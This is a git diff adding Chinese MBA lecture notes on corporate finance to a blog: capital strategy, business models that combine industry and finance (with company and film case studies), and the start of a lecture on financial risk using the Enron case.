+优质资源大家都喜欢，人人都爱。但是在资本层面更强调劣质资源的整合。不是说不整合优质的，我们有实力、有资金去整合优质的，当然很棒。但事实上资本更强调劣质资源的整合。为什么？比如说云南省投资集团，用2.5亿从“绿大地”大股东手里头收购股份，成为“绿大地”的第一大股东。2.5亿听起来资金挺多的，实际上非常便宜。绿大地是中国股市中第一家以苗木上市的公司。而苗木这个概念到今天都是一个非常好的概念，因为我们从中央政府到地方政府都强调绿色发展。 + +但是，绿大地上市后，有人来检举他财务作假，老板、财务总监都进监狱了，业务也没得做，证监会给它戴了一个ST的帽子，已经从优质变劣质了。这时候云投出手收购它，成为第一大股东。2.5亿什么概念？是它上市的时候发行价格打了对折，价格上非常便宜。 + +我们说劣质资源，从资本层面来讲，运作的成本低。云投在收购了绿大地之后，做了几件事情： + +第一件：改组董事会。目的是控制权。 + +第二件：做战略。重新制定战略，这个战略是我的团队帮助他们做的，由苗木升华成为生态，把名字也变掉了，现在叫做云投生态。战略变了，名字也变了。由集团装进去了更多资源，因为从苗木变成生态，紧接着在资本层面进行并购，构架生态的产业链，然后它的股价或者说市值就提升了，股价涨停了。 + +到此为止，绿大地由劣质资源又变成了优质资源。大家回忆一下，资本市场对我们公司的一个挑战是预期收益，我们收的是劣质，能够在未来把它变成优质的，这个预期就做的非常好。 + +我来归纳一下，为什么在资本层面，更强调劣质资源的整合，因为第一成本低，第二预期好，所以更具投资价值。因此，各位别光惦记着好的，也得看看劣质的。 + +而这里的问题就是你真的能把劣质变优质吗？不一定。即使我们收购的是一个优质的，能够再优质吗？有没有可能在你的手里变成劣质的？有可能。一切皆有可能，这叫什么？风险。 + +所以，这一组资源培养的是一个企业控制风险的能力，控制能力。 + +我们讲了三组资源，三种能力是对应的。 + +第一组，经济资源、人力资源培育的是运作资源的能力； + +第二组，有形资源、无形资源培育的是营运能力； + +第三组，优质资源、劣质资源培育的是控制风险的能力。 + +![](/uploads/2018/10/24-72.png) + +这就是资本的定义，我们首先搞清楚什么是资本。从这个角度，资本和公司无时无刻是紧密相连在一起这是，我要强调的第一点。 + +2.资本战略的核心与关键 + +在资本战略层面，我们讲了资本的定义。那作为资本战略，它的核心是什么？核心是资源，其关键点用一个字来表示，就是“变”。 + +我们说对一个企业来讲，资源是稀缺的。但是，光有资源不行，还要把这些资源变成资产。我们掌控各种资源，土地资源、机器设备，人力资源，我们把土地变成了机器设备，变成了企业可运作的资产，才能够带来利润。 + +但是资源变成资产也仅仅是一变，我要强调的是更多的变化。我把它叫做“四资”的理念，即： + +资源变资产； + +资产变资本； + +资本变资金。 + +![](/uploads/2018/10/24-73.png) + +所谓的“变”就是一种创新、创造的能力。如何完成四资之间的变化？这是金融战略要解决的问题。 + +完成了资源、资产、资本、资金间的转变，怎么使用这四资？这是财务战略的问题。 + +用的好不好，有哪些优势、劣势？这就是会计战略要解决的问题。 + +三大子战略之间的关系是这样的，紧紧围绕着“四资”，也就是资本管理的过程，怎么变？金融战略来解决。怎么用？财务战略来解决。用得好吗、变的好吗？你管理的怎么样？会计战略来评价。 + +希望大家能把这三个子战略联系起来，核心“四资”是整个资本战略。整个资本战略紧紧围绕着资源来展开。 + +我们来对比一下金融战略、财务战略。 + +在方向上。财务战略强调公司内部的资金管理，怎么用？是一个配置的问题，用在生产是多少，用在销售是多少，哪些用在投资，哪些去发工资，理论讲是配置的问题。而金融战略强调的是外部资源的整合，更强调对外。财务战略讲配置，金融战略讲整合。 + +在目标上。财务战略看的目标是利润，怎么通过财务战略提高公司的利润，而金融战略强调价值。金融战略对大家的拷问是：你的公司有投资价值吗？或者每一年结束的时候，大家不仅仅要问我们赚了多少钱，还要问问我们真的提高了公司价值吗？ + +在操作上。财务管理讲精准，一分钱都不可以差。而金融战略讲趋势，当趋势出现的时候就不能精准到一分钱都不差。 + +在理论基础上。无论是金融战略还是财务战略，其共通的基础理论都是公司理论。但是财务战略里更强调会计学，给出了各种指标用于评价。而金融战略强调金融学。这也是财务战略、金融战略不同的地方。 + +![](/uploads/2018/10/24-74.png) + +由此，会计战略把二者串联起来，你们做得怎么样，由会计战略来评价，我们要树立良好的资本形象。这是整个资本战略的核心、关键。 + +3.资本思维 +最后来讲一讲资本思维。 + +3.1数量思维 +先来看会计战略。会计战略调的是数量思维。作为企业家要有两个敏感性： + +第一个敏感性：政治敏感性。国内国外都一样，要有政治敏感性。所谓政治敏感性，就是你对外部商业环境的感受。 + +第二个敏感性：数字的敏感性。企业运营出的数据、财务出的数据，尤其会计给大家出的数据，反映整个运营管理。数字，会计报表使我们的经营行为数量化了。 + +大家忘了去年今天你们做什么，但是会计报表会记录下来。所以数据反映了你运营管理的好坏、问题、优势、劣势。我们要有数字的敏感性。 + +因此，我强调数量思维，三句话： + +第一句话：记住一些重要的数据。 + +第二句话：掌握一些关键的指标。 + +第三句话：用数字、数据管理公司。 + +其实这些建议都是非常实在的，需要大家去用的，以上是数量思维。 + +3.2财务思维 +下面看财务战略，财务思维。财务思维是基于企业内部资金管理，怎么用的好，怎么管的好，从而提高企业的利润，提高运营管理的水平。 + +所以，财务思维可以总结为一个高度，两个定位，两个模式。 + +首先，来看一个高度。一个高度指的是战略高度。一个企业里头花钱不能随便花。比如有的同学觉得要融资就多多益善，错的。大家注意，不是你弄了很多钱那叫本事，不是的。投资和融资，一定要在战略层面上来考虑，我要不要花这钱，要不要这笔钱。 + +比如说百度，在创业的时候，可以在天使轮拿到很多钱。但是，几位创业者说，我们一定要规划好，不是钱越多越好。最后他们的天使轮，只拿了100万美金，而且这100万按照投资人给他们的规划是用半年，但他们用了1年。从资金管理来讲，首先他们花钱有规划。而且，由于第一轮精打细算这100万，还带来了新的投资人。大家注意一下，战略的高度，用大白话来讲，就是花钱要站在战略的高度考虑。 + +然后，再看两个定位。大家想融得资金，把公司做好，就要讲两个定位。在商品市场上有一个二八理论，航空公司和银行就是二八理论用的最好，牢牢抓住那20%的客户。在资本市场上，也有一个理论，我给起了一个名字叫做“新二八理论”。在一个行业中，前两位的公司往往占据了这个行业80%的市场份额，是最具投资价值的公司。 + +在一个行业中，前两位在指什么？商品市场中，我们要到前两位去，也就是说，商品市场上的定位是要求大家是龙头企业，行业领袖。 + +那作为龙头企业，在这个行业中占80%的市场，这就是资本市场对大家的期待。你占的份额这么大，才有投资价值，这是资本市场给大家的定位。 + +我们整个财务运作，围绕着这两个定位。我们要从利润管理向价值管理转变，首先在商品市场上成为龙头企业。在一个行业中，前两位企业占据了这个行业80%的市场份额，是最具投资价值的。 + +最后，来看两个模式。在操作层面上怎么花钱，怎么管钱就要基于商业模式和管控模式。 + +商业模式不同，你投融资花钱、用钱不一样。管控模式不同，你投融资花钱、用钱也不一样。比如，我们是战略管控型的，我们是财务管控型的，我们是集权的，我们是分权的。大家想，我们资金的路径一样吗？不一样。资金的管理也不一样，所以商业模式和管控模式，决定了我们整个资金管理的路径、模式的不同。 + +尤其我们成长型企业，大家会觉得我公司还小，这些东西是不是离我远？其实一点都不远。首先理念先行，任何一个伟大的公司，都是由小而变大的，在这个变大过程中，我们如何进行财务管理，如何把每一分钱，每一笔资金用好、管好，是大家现实的挑战。而这种商业模式、管控模式，决定了你以何种方式、以何种手段来管理企业的财务。 + +![](/uploads/2018/10/24-75.png) + +中国人讲“站得高，才能看得远”，我希望大家不要觉得远，就在大家的身边。财务思维，一个高度，两个定位，两个模式。 + +3.3金融思维 +下面我们再来看金融战略、金融思维。为了让大家记得住，金融思维我也给大家总结了三句话。 + +第一句话：风险为先。 +公司未来的发展是不确定的，可能盈利，可能不盈利。作为一家企业，要做到风险为先，建立风险管理三大机制： + +（1）风险预警机制。干之前先想清楚自己的风险有多大，自己扛得住吗？风险太大，是不是不能做了。有风险是不是就不做了？不是。有风险，我们为了谋求更好的收益有时候也要做，那就需要关注第二个机制了。 + +（2）风险控制机制。实际经营过程中，我们不是神仙，不能说风险不能出现，出现了就控制在我们可以接受的范围之内就可以了。 + +（3）风险退出机制。我们都说了上山容易，下山难。杀进去容易，退出难。战争中有一句话：开战在我，结束在彼。一战、二战所有战争，不是我们开战这方能说结束就结束的。商场如战场，进的时候先想退路是最重要的，要有风险退出机制。 + +风险退出有四个标准需要大家把握好，分别是： +合适的时间； +恰当的利益； +全身而退； +东山再起。 +有一部电影里头怎么说的，我们今天的撤退是为了明天大踏步地前进，不是退了没事干了。这就是第一句话，风险为先。 + +第二句话：动态决策。 +我现在要跟大家募集资金去买股票，假设现在已经投了100万。我的问题是你们作为我的股东打算什么时候卖这支股票？假设这支股票现在已经涨到200万了，卖不卖？ + +我再告诉大家，这支股票未来可能涨1000万，你们不后悔吗？但是也可能多等一天就亏得血本无归了！所以，怎么办？ + +这就要回到金融的本质。金融的本质是什么？投资就是把现在的钱放到未来去花。而融资是把未来的钱挪到今天来用。金融的本质通俗来讲，是投资人和融资者在对赌未来。当然如果从严谨的概念上讲，金融学的本质是研究人们在一个不确定的环境中，如何实现资源的跨期配置，这是非常理论的一句话。 + +我们在赌未来，你还老盯着现在，行不行？不行。一定是动态决策。从现在看未来，要把未来挪到今天来考量。这就是金融思维的第二句话，动态决策。 + +第三句话：成本观念。 + +第一，强调资源。公司金融所强调的成本是资源，成本是对公司资源的损耗。 + +第二，强调过程。成本覆盖了一个公司的全部的生命周期。分为过去时、现在时和未来时。 +首先，过去时会形成隐性成本，什么是隐性成本？比如说我一个学生做建筑垃圾的，处理建筑垃圾，循环经济，非常好。但是当国家强调环保的时候，他这个企业就很难运作了，就不盈利了，微利了，甚至是亏损，就是因为政策变了。 + +再比如说有一些企业在会计上内外两套账，税务不查没事，关键当有一个企业来投资的时候，你光拿你的外账给投资人看，亏的一塌糊涂，公司还值钱吗？我就碰到江西的一个企业问我，陈老师，英国有个公司要给我投资，我是内外两套账，你说怎么办？拿外账给他看我一分钱不值。但是如果我把内账拿出来，肯定就值钱。 + +所谓过去时的隐形成本，就是在过去经营过程中给现在和未来留下的风险。希望大家自己不要给自己埋雷，关键词是风险，过去时。 + +现在时的话，大家会有什么成本？制造成本。我们为了取得收益而付出去的代价，制造成本的料工费。我想收益更好，就要控制成本，降本增收。关键词是控制，现在时。 + +未来时的话，大家会有什么成本？好多同学一定有过这样的想法“哎哟，当初我如果选择XXX的话，现在也就XXX了”，这叫机会成本。大家这些悔不当初的决策所造成的，你已经失去了的，就构成了你的机会成本。关键词是决策，未来时。 + +综上，需要大家具备完整的成本观念，风险、控制和决策，过去、现在和未来。企业全生命周期中，这种成本无处不在，需要大家管理好，这就是金融思维的第三句话，成本观念。 + +![](/uploads/2018/10/24-76.png) + +最后，我们把这一讲的内容做一个简单归纳。这一讲课程，我们讲的是资本战略。我们从什么是资本，一直讲到资本思维，而且我们分开了来讲，对应到了每个子战略。 + +我们围绕着资本、资金、资源构架了一个联动的资本战略，也体会到这会计、财务和金融三个子战略之间，紧紧围绕着“四资”（资源、资产、资本、资金）所形成的区别和联系。 + +![](/uploads/2018/10/24-77.png) + +本讲内容就先讲到这儿，谢谢大家！ diff --git a/_posts/2018-10-24-294-gsjrx03.md b/_posts/2018-10-24-294-gsjrx03.md new file mode 100644 index 0000000..341aa38 --- /dev/null +++ b/_posts/2018-10-24-294-gsjrx03.md @@ -0,0 +1,285 @@ +--- +layout: post +title: 【公司金融模块】 第3节 产融结合的创新商业模式 +pid: 294 +tags: [mba] +--- + +《公司金融学》 + +陈晋蓉----清华大学经济管理学院 + +# CHAPTER 3: 产融结合的创新商业模式 + +对于创业者、企业家来讲，要做三件事： +第一件事：融资先融人。最重要的资源是人。 +第二件事：要由企业家变成资本家。所谓的资本家是指资本管理的专家或决策者，要能够从战略层面上进行决策，领导企业的整体资本管理。 +第三件事：从战略、布局、运作三个层面把握。首先要有战略的高度，制定出与企业发展相适应的资本战略；同时要在战略的指导下，布局产业；最后通过运作将战略落地。 + +新金融环境下企业发展模型：以战略规划为核心，纵向做强主业，横向善用资本。即以战略规划为核心，对于企业内部的运营管理，通过战略凝聚员工，对于外部投资人，通过战略展示公司的预期收益。战略落地实施路径：在商品市场上要做强主业；在资本市场上要善用资本。 + +![](/uploads/2018/10/24-07.png) + +2.重启改革开放的路径 + +陈晋蓉教授认为目前中国面临的挑战来自：对外调整利国战略，对内重启改革开放。本节课我们重点来看重启改革开放。 + +重启改革开放的路径：财税改革为始，国企改革为终，中间串联的是金融改革。这两年财税制度的改革力度非常大，营改增改变的不仅仅是企业的应税项目，同时也改变了中央和地方的财政关系。 + +回顾1978年的改革开放，其改革的切入点是会计制度的改革。因为建国后我国学的是前苏联的会计制度，而改革开放是面对全球，需要用全球通用的商业语言——会计。现阶段重启改革开放也是从财税改革开始。 + +国企改革为终。国企改革是一个贯穿的过程，因为其涉及面比较大，中间串联的是金融改革。 + +3.人民币在国际化进程中的四大节点 + +在推进人民币国际化的进程中，我国利用 “三兰事件”进行金融布局。 + +第一个节点：乌克兰事件 + +中国的改革开放运气非常好。美苏冷战给了我国一个相对和平或相对安静的发展环境。苏联解体后，给我国带来了非常大的挑战。但是强势的普京再加乌克兰事件又吸引了全球的目光，由此，我国和俄罗斯的关系越走越近，在这个过程中，我国签署了一个石油大单，其金融意义在于用人民币来结算，在人民币国际化的进程中具有战略意义。原因如下： + +二战结束，全球建立了三大治理体系： +·联合国政治体系。 +·WTO贸易投资体系。 +·布雷顿森林体系，即货币金融体系。 + +当时美国提出用黄金做背书，全球用美元结算，那时候的美元被称为美金。但在越战、韩战两场战争，以及国际形势的变化，美国改用石油做背书，即石油美元，全球石油要用美元来结算。而我们这一单是用人民币来结算的，这是我国的第一单。 + +第二个节点：伊斯兰事件 + +随后，我们跟沙特、伊朗都在谈用人民币结算。 +最近建立了石油期货，我国要掌握石油，掌握定价权，用人民币来结算。 + +第三个节点：苏格兰事件 + +苏格兰脱英，英国脱欧，这是逐渐演化过来。我国签立了一个发债协议，这笔债用人民币来计价。 + +第四个节点：上海金 + +2016年，我国推出了上海金，在这之前国际上有两金：伦敦金、纽约金。当我国推出上海金时，理论意义上全球黄金储备也可以放到上海了。 + +4.人民币在国际化进程中的三张网络 + +第一张网络：以银联卡为核心的全球支付结算网络 + +目前我们可以在148个国家刷卡。 + +第二张网络：各国央行货币互换协议的网络 + +举例说明这张网络的重要性：假如我们到日本、韩国去消费，刷卡就可以，虽然我们的银联卡里是人民币，但并没有去兑换。 + +李克强访日，提出重启中、日、韩自贸区谈判。其实这个谈判以前就进行过，但由于美国干涉中止了。现在重启，从金融的角度分析李克强访日及中、日、韩自贸区谈判的意义：目前是人民币和韩元必须同时换成美元，如果中、日、韩自贸区谈判能够成功，在自贸区里可以直接进行货币兑换。 + +第三张网络：跨国家、跨洲际的银行体系 + +除了大家熟悉的亚投行，还有金砖国家新开发银行，上合组织开发银行等银行体系。 +我们在全球金融战略上的布局，也基本完成。 +我国加入了SDR，开通了沪港通、深港通，使境外的资金不进入中国就可以参与中国资本市场上的投资。还建立了上海自贸区，并不断扩容，直至今年扩容到海南，在海南全岛建设自由贸易试验区和中国特色自由贸易港。 + +5.对未来金融环境的判断 + +2017年是资本市场上、金融市场上的“监管大年”。这一年是整个资本市场的一个转折，严监管。陈晋蓉教授对未来金融环境的判断：“严监管、宽货币、促改革”。 + +1. 严监管。从2017年开始，我国不断出台政策，包括上市、监管、审核，现已相对比较严了。 +2. 宽货币。由人民币的大跌，股市、汇市下跌，及贸易战等多方因素促成宽货币，包括了货币政策、财政政策，相对会宽松。 +3. 促改革。重启改革开放，在未来，各种政策会不断出现。因为伴随着组织架构的调整，不断会有政策出台，所以要促改革。 + +这是总体上对未来的判断。因此，陈晋蓉教授把它定义成为“新金融环境”，在这个背景下，要以战略规划为核心，做强主业，善用资本。 + +·公司金融战略 + +1.投资人的财务（价值评估）逻辑 + +投资人都在企业的外部，首先要搞清楚外部投资人评估一个企业的逻辑。先了解投资人、公司和资本市场之间的关系，公司是价值的创造者，通过其运营管理（包括经营活动、投资活动、融资活动）创造公司价值，整个过程也是获取资源、资金的过程，所以公司必须要到资本市场上去。 + +投资主要是债务性投资和权益性投资，投资人给公司提供资金，公司通过其运营管理创造价值，通过还钱、分红让投资人感受到投资价值。因此在资本市场上，我们讲的是投资价值。 + +![](/uploads/2018/10/24-08.png) + +投资人判断一个公司的逻辑：首先在战略层面上了解公司，包括产品、知识基础、竞争水平、管制约束等，通过了解这几方面判断公司的核心竞争力，包括风险管控，未来的发展；然后，通过财务报表及报表之外的信息分析其历史业绩；再基于战略展示的预期及财务报表展示的过去，预测企业的未来，看预期收益，把预期收益转化为投资收益，对公司进行评估、定价；最后是投资。 + +所以，未来、过去、预期、评估、投资，这是价值评估的逻辑关系。在资本市场一定讲双向战略，首先从公司的产业讲起。这是投资人的财务逻辑。 + +由此，金融视角下的公司使命：为投资者创造和实现价值的最大化。 + +2.公司金融学 + +金融学是货币资金的融通。融，融的进来，融资。通，能够花得出去，通畅地流动，投资。所以，金融学有两条主线：融资、投资。 + +金融学有三个分支： +·国家金融，即宏观金融学。 +·个人金融，即个人理财学。 +·公司金融，即微观金融学。 + +公司金融学和公司财务学，在中国有时会混淆。实际上，这是两门不同的学科，解决的是不同范畴的问题。公司金融无时不在，例如，企业融资，银行吸纳存款对银行来讲也是融资。但是企业融资不是为了拿利息，而是通过对资金的运营获得更高的回报，创造更多的价值。 + +所以，公司金融是关于如何创造和保持价值的学问。任何一个企业要想生存，都离不开金融。 + +案例：新疆一家做化工的企业 + +新疆有一家做化工的企业，1997年以化工概念上市。当时该公司的几个化工产品在全国都是最棒的。但上市之后战略失误，没有将上市之后融到的将近50亿资金投到主业，而是投了棉花、蕃茄酱、农场、节水、玻璃等业务上。 + +到了2002年，公司出现了财务危机，这个财务危机体现在两个财务指标上： + +·净资产收益率28%。证监会规定净资产收益率连续3年达到10%以上才可以增发新股。因此，该公司就把股权融资可通过二级市场进行的路堵死了。 + +·资产负债率62%。基本上也把从银行借款的路堵死了。 + +这是金融战略失误导致的财务危机。化解危机的方式是调整金融战略，首先分拆公司的一部分业务，以下为针对公司相关业务的分析： + +棉花业务：新疆的棉花好，但新疆的棉花实际上都已被内陆地区分刮。 +蕃茄酱业务：对比屯河股份蕃茄酱的生产规模，该公司的规模非常小，不具竞争力。 +玻璃、化工业务：公司缺少资金投入。 + +因此最后选择了节水业务，该业务引进的是最好的节水设备，就其面向的市场而言，新疆是缺水的，中国总体上也是缺水的。 + +所以，金融战略调整的第一步：从上市公司中剥离节水业务，组建股份公司到香港上市。 + +第二步，追加对化工的投入，恢复化工产品的竞争优势。因为公司主业的竞争力在化工行业，之所以化工的市场份额下降了，盈利在逐渐变少，是因为没有新的投入。现需投入8亿元买设备发展业务，公司通过融资租赁的方式把设备买进来。所谓融资租赁，就是分期付款买设备，再用公司经营所得来分期支付设备款，这也是一个典型的融资行为。 + +但是，设备购买之后需要大量的电来支持，针对解决方案有两种不同意见：买电和投资大概4亿元建一个电厂。当时公司的资金非常紧张，经营者总体上主张买电。但综合分析之后，决定建电厂。建电厂的好处： +第一，解决自身能源问题，价格具有优势。 +第二，销售多余的电。 +用卖电取得的收益覆盖电厂运行的成本，同时降低化工生产的能源成本。 + +4亿建设资金通过与国开行的特殊项目融资（封闭式的项目融资）方式来解决。通过一步步的调整，分拆出的节水业务于2006年在香港上市。化工业务也逐渐具有竞争力。 + +该公司的问题最初出现在金融战略上，解决问题也需要调整金融战略，公司的经营必须要考虑金融问题。 + +3.公司金融发展史 + +公司金融发展史，总体来讲分了三个阶段： +第一阶段，1929年以前，公司金融理论创建阶段，以筹资为中心阶段。 +第二阶段，1929-1950，传统金融理论成熟阶段，以内部控制为中心阶段。 +第三阶段，1950-1980，现代公司金融理论形成阶段，以投资为中心阶段。 + +公司金融的研究方法在逐渐丰富，现已形成一整套理论和方法。但是我国的国情比较特殊，改革开放以后，公司从计划经济下的经营到市场化经营，再到国家推出股市等资本市场，这是一个过程，发展的速度非常快。企业真正形成公司金融还需要一段时间，所以我们提出了一个新概念——资本运营。资本运营本质来讲就是公司金融。 + +·产融结合的创新商业模式 + +公司金融或资本运营对于企业来讲，战略意义非常重大。金融战略落地方式：产融结合的创新商业模式。 + +产融结合即产业+金融，需要深挖自己所处行业中的金融特征。通过金融思维、金融运作，融得资金，整合到各种资源，去支持产业做得更好，所以是产业为本，金融为器，不能倒过来。 + +1.案例部分 + +案例1 徐峥与《泰囧》、《港囧》 + +《泰囧》是徐峥第一次做导演拍摄的，该部电影中，徐峥是作为导演和演员的身份出现。他的投资方是光线传媒，最后的结果徐峥以导演和演员的身份获得了4000万收益。而光线传媒获得4亿收益。 + +徐峥所在的产业是文化传媒产业。其出产《港囧》时，加入了金融思维，运作方式如下： + +·转换身份 + +拍《泰囧》时，徐峥是演员、导演。拍《港囧》时，他和太太组建了一个公司A，他成为了投资人，以A公司名义投资《港囧》，为第一大股东，占51%的股份，光线传媒为二股东。 + +·卖品牌 + +把自己的品牌卖掉。整个文化传媒行业中，徐峥是一个品牌。因为这个品牌才可能带来更多的观众，所以他将这个品牌卖给香港21世纪公司。21世纪公司把徐峥这个品牌做了一个定向增发，向徐峥、宁浩、董平等几个做电影的人定增。董平第一大股东，宁浩和徐峥为第二股东。由于21世纪公司装进去了这么多品牌、这么多人，其主业发生了变化，从房屋经纪变成文化传媒，更名为欢喜传媒。由于这些品牌和人力资源的加入，21世纪整个市值也得到了提高。徐峥把“徐峥”这个品牌以18亿港币转让。 + +·卖预期 + +《港囧》是在徐峥进入欢喜传媒（原香港21世纪公司）之前拍的，一直没有上映。徐峥这个品牌进入了欢喜传媒，但《港囧》这个产品并未进入，所以，徐峥把他持有这部电影，即他与太太共同成立的A公司的51%的股权卖了，获得了1.5亿人民币。表面上看卖的是股权，实际上卖了这部电影将来发行的预期收益。即将来等电影上映后，无论是赚钱还是亏损，他都已经拿到了1.5亿。 + +以上是一部电影（一个产品）运用金融手段的例子。例如，把预期卖了，经营了预期；把品牌卖了，由一个产业的经营者变成了投资人，身份变了。通过这样的金融运作使这部电影经营的更好。他通过《港囧》的收益远远大于《泰囧》。 + +案例2 日本的一家复印机公司 + +传统的卖复印机的方式是一台一台的卖，但是日本的一家复印机公司运用了金融思维改变了销售方式，取得了更好的收益。下图是传统销售方式和产融结合模式的对比： + +![](/uploads/2018/10/24-09.png) + +该公司在生产销售复印机过程中采用了以下金融手段： + +销售新机无疑是最传统的，也是我们最习惯的。但不断叠加金融，二手销售、以租代售、融资租赁、经营性租赁、出租服务、集成的解决方案，最后利润7.2亿，但是其产品还是复印机。 + +所以在陈晋蓉教授讲的公司金融中，不去强调金融本身，金融只是手段，最终要促进产业的发展，做强主业，才是根本。公司本身就是做实业的，如果把自己的产业丢失了，单纯去做金融，是一种忘了本的做法。如果能够借助金融思维、金融手段、方法，能够更好地融资和投资，产业就会做得更好。产业+金融，即产业为本，金融助推。 + +案例3 卡特彼勒公司 + +卡特彼勒公司，设备金融做得最好，首先其设备是全球最好的设备，又结合了金融思维。 +其业务模式如下：现场看设备，选好设备型号之后可以不付钱，先把设备运回使用。在设备的使用过程中，公司无需特意招聘设备的维修、维护人员，由卡特彼勒公司派其员工进行设备维护，更新零部件，因为其员工对设备最熟悉。 + +试设想如果公司招聘一个员工，除了要负责其生老病死，还要进行其思想工作的管理。现在公司只需支付维修费、零部件费，可以节省很多成本。卡特彼勒公司还会进一步告诉客户，如果这个设备你不想用了，或者有新的设备出来了，你想更换，卡特彼勒公司不仅可以把旧设备运回，还可以作价付给你钱。 + +这个公司满满都在运用金融思维，客户把设备运回去先用着：融资租赁；设备坏了、旧了，公司可以将设备运回并作价给客户：阈值管理；给客户提供维修：商业模式，由销售设备变为销售+服务，业务模式的根本性转变，公司与客户之间形成了最紧密的合作关系，使一单业务变成了一个长期的战略合作关系。 + +案例4 供应链金融 + +供应链金融在物流产业最常见，最具代表性的公司如UPS公司。UPS不仅每一辆车有卫星定位，可跟踪货物，确保货物安全，还提供了全方位的供应链管理，如存货、应付帐款、应收帐款等，通过金融服务将客户牢牢绑住，跟客户之间形成了最紧密的合作关系。 + +物流企业面临的最大问题是公司做了物流员，投资了很多车，却没有客户。所以可以通过金融服务来绑定。 + +其他模式 + +如果是做连锁超市的公司，可以运用消费金融，做得最好的是麦当劳。如果是做工程的，可以运用项目融资。 + +如果是地产开发公司，将产业和地产结合，再加上金融运作，才能做起来。比如特色小镇、田园综合体。一个特色小镇首先要有产业，要能够拉动当地经济的发展，即无产业不小镇，无特色不小镇，无人流不小镇，特色小镇一定是产业拉动的，而不仅仅是一个地产项目。因此，产业+地产+金融运作，这才是产融结合。 + +![](/uploads/2018/10/24-10.png) + +2.产融结合创新商业模式 + +产融结合创新商业模式，仍然是产业+金融，但是要创新商业模式。 + +![](/uploads/2018/10/24-11.png) + +产业的商业模式包括四大要素，入口是企业战略、企业定位，即在商品市场端、资本市场端的定位，及在这种定位下，企业应该有什么样的资源能力。 + +·资源能力 +如人力资源、公司资产等企业所具备的核心资源能力。 + +·业务流程 +解决业务流程问题，例如从研发到把产品送达到消费者的服务全过程。 + +·赢利点 +搞清楚在业务链条中哪些点上是可以盈利的。 + +·现金流结构。 +企业的价值落到具体财务上，并不仅仅是利润，而是现金流，即一个企业能否非常好的产生现金流。 + +以上四点是在产业背景下，我们考量一个企业的商业模式的方式。本堂课讲授的产融结合的创新商业模式就是在挖掘产业中的金融特征之后形成的，需注意以下四个要点： + +·设计转化。挖掘产品、服务、企业的金融特征，进行设计和转化。 +·投融资决策。 +·定价。转化成为金融产品时，如股票、债券等，都会涉及定价的问题。 +·风险管理。 +以上就是整个产业+金融的创新商业模式的设计思路。 + +3.产融结合的三个层次、三个阶段 + +案例：经纬纺机 + +现阶段，纺织业已是夕阳产业，而经纬纺机又是夕阳产业中的设备制造业，传统观点认为：如果产业不景气，相关的设备制造企业会更难发展。但是，经纬纺机的市值很好，它是我国同时在A股和H股上市的公司。该公司在金融运作方面做得非常好，纺织业务也做得很好。目前该公司是全球第三大纺织机械生产销售商，但如果没有金融的支持，它的业务是做不起来的。 + +经纬纺机原是山西榆次的一个纺织机械零部件生产商。最初其公司规模很小，只做零部件，整合了农机具生产商之后，规模开始变大。之后公司同时在A股和H股上市。凭借其对金融、资本的直觉、感觉，成为了山西最早的上市公司。这是其金融战略中的第一步。 + +上市融到钱之后，公司做了以下几件事： + +第一步，总部搬到北京。这样能够有更全面的视野进行更开阔地经营。山西榆次变为生产基地。 + +第二步，并购。通过并购迅速形成其自身的生产能力，最出彩之处为并购了纺织机械的研究所，提升了研发能力。 + +第三步，利用金融手段销售设备。因为其设备属于大型设备，故采用融资租赁等方式进行销售。 + +以上是生产销售环节的做法。然后经纬纺机又投资了中融信托，原来是第二大股东，然后变成大股东，由于现在监管更加严格，经纬纺机在收购个人（解直锟）手头中融信托的股权。 + +经纬纺机构建了自己的金融体系，除了参股、控股中融信托之外，还有资本管理公司、财务公司，财富管理公司等。金融成为它独立的业务板块，也是其产业中的一个板块。经纬纺机的领导表示：“我们永远不会放弃纺织机械，因为它是我们金融运作的概念”。这句话诠释了产融结合的创新商业模式：永远不会放弃纺织机械，产业为本；产业是金融运作的概念，即产业是离不开金融的。 + +产融结合的三个层次： + +·项目或产品层面，这是最内核的。例如，本堂课讲授的徐峥的案例，徐峥是从产品做起的。 +·业务层面。并非一款产品，而是整个业务。例如，经纬纺机以产品为主，从纺织扩展到中融信托、财富管理公司，再到其他业务，扩展到整个业务领域。 +·企业层面。例如，当经纬纺机的产业借助金融做得越来越好的时候，它就进行金融投资了。例如投资中融信托，或者是投资一个小贷公司，或者是参股一个银行。 + +产融结合的三个阶段： + +·服务公司内部阶段：以项目和产品为核心。 +·外部整合资源阶段：投融资整合资源。 +·卖产品、卖服务阶段。 + +以上就是陈晋蓉教授特别强调的产融结合的三个层次、三个阶段。 + +本讲内容就先讲到这儿，谢谢大家! + + diff --git a/_posts/2018-10-24-295-gsjrx04.md b/_posts/2018-10-24-295-gsjrx04.md new file mode 100644 index 0000000..48c5979 --- /dev/null +++ b/_posts/2018-10-24-295-gsjrx04.md @@ -0,0 +1,265 @@ +--- +layout: post +title: 【公司金融模块】 第4节 风险意识与财务管控 +pid: 295 +tags: [mba] +--- + +《公司金融学》 + +陈晋蓉----清华大学经济管理学院 + +# CHAPTER 4: 风险意识与财务管控 + +在本讲课程正式开始之前，我们先来把之前讲过的公司金融和金融战略的整个体系来回顾和归纳一下。总体而言，公司的金融战略可以归纳为一个核心、两条主线、一个目标、四大运作。 + +一个核心指的是公司治理。大家从这一个核心应该可以感受到，公司金融跟财务管理不同，首先要解决的是治理问题。 + +两条主线指的是融资、投资。 +一个目标指的是公司的投资价值。 +四大运作指的是投融资决策、定价、分配、风险管理。 + +这些是公司金融所包括的主要内容，我叫做“1214金融战略”，公司的金融战略都是基于这个“1214”来设计和开展的。 + +这一讲我们将从公司金融的一个核心——公司治理，来展开。从公司金融的角度来讲公司治理是一个非常有意思的话题，公司治理显然不是一个单纯的财务问题，但它关系到了安全问题，关系到了财务风险的问题。 + +![](/uploads/2018/10/24-12.png) + +一．树立风险意识 + +为了便于大家理解财务风险这个概念。我们来看一个案例，安然事件，用这个案例来唤起大家的风险意识。 + +安然事件是一个非常久远的案例了，也正因为安然，才出了影响深远的塞班斯法案（详见预习材料文件2）。安然公司是一个美国的公司，1985年成立，曾是全球最大的能源交易商。在世界500强里排第7位，曾被评为最具创新精神的企业。 + 